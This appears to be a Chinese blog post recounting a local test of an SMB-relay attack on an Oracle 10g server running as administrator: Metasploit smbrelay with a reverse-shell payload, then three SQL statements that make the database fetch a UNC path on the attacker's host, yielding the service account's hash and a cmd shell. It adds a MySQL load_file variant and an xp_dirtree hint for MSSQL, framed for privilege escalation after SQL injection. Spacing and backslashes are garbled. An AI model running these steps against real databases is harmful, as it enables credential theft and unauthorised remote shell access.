这几天看了篇叫&rdquoenetration:fromapplicationdowntoOS(Oracle)”的文档,感觉挺有意思的,文档的大概意思就是说,如果ORACLE服务是用administrator账户启动的,你只要有一个具有resource和connect权限的数据库账户,就能利用metasploit的smbrelay功能,本地搭建一个SMB欺骗服务器,来得到系统的访问权限。我本地测试了下,还真的成功了。:-)
具体的原理分析看原文吧,我这里把我的测试过程写出来.
我的渗透环境用的是ubuntu8.10+metasploit3.3dev,oracle数据库版本为10.2.0.1.0,服务启动权限为administrator,数据库账户用的是dbsnmp账户的默认权限.
1.先用netstat命令查看一下,本地的139端口有没有占用,一般占用此端口的服务就是Samba了,要关掉。ubuntu的关闭方法是sudo/etc/init.d/sambastop
2.运行metasploit,我选用的PAYLOAD是shell_reverse_tcp,做好相应配置后,exploit.就能用netstat看到本地已经监听了139和8522端口了.
3.我现在使用dbsnmp默认账户连接到oracle数据库上,这个账户默认权限是比较低的,只有connect和resource权限。
4.然后执行下面3条SQL语句
SQL>CREATETABLEfiles(idNUMBERPRIMARYKEY,pathVARCHAR(255)UNIQUE,ot_formatVARCHAR(6));
SQL>INSERTINTOfilesVALUES(1,’192.168.1.52mickey’,NULL);
SQL> CREATEINDEXfile_indexONfiles(path)INDEXTYPEISctxsys.context
2  ARAMETERS(‘datastorectxsys.file_datastoreformatcolumnot_format’);
当执行完createindex这句的时候,在看咱们本地的metasploit,就已经得到ORACLE数据库主机的系统当前服务用户的halflm哈希和cmdshell了。
后来经过pt007的提醒,我又测试了mysql,如果服务也是administrator启动的,用selectload_file(‘\192.168.1.52mk.txt’)也是可以得到系统权限的.MSSQL应该用xp_dirtree存储过程也是可以的,不过我没有配置出来用administrator账户启动MSSQL服务,希望知道的朋友指点下我。
这个技术可以用到内网WEB评估的时候,如果有注入,服务又是administrator启动的,可以提权了。
*
* |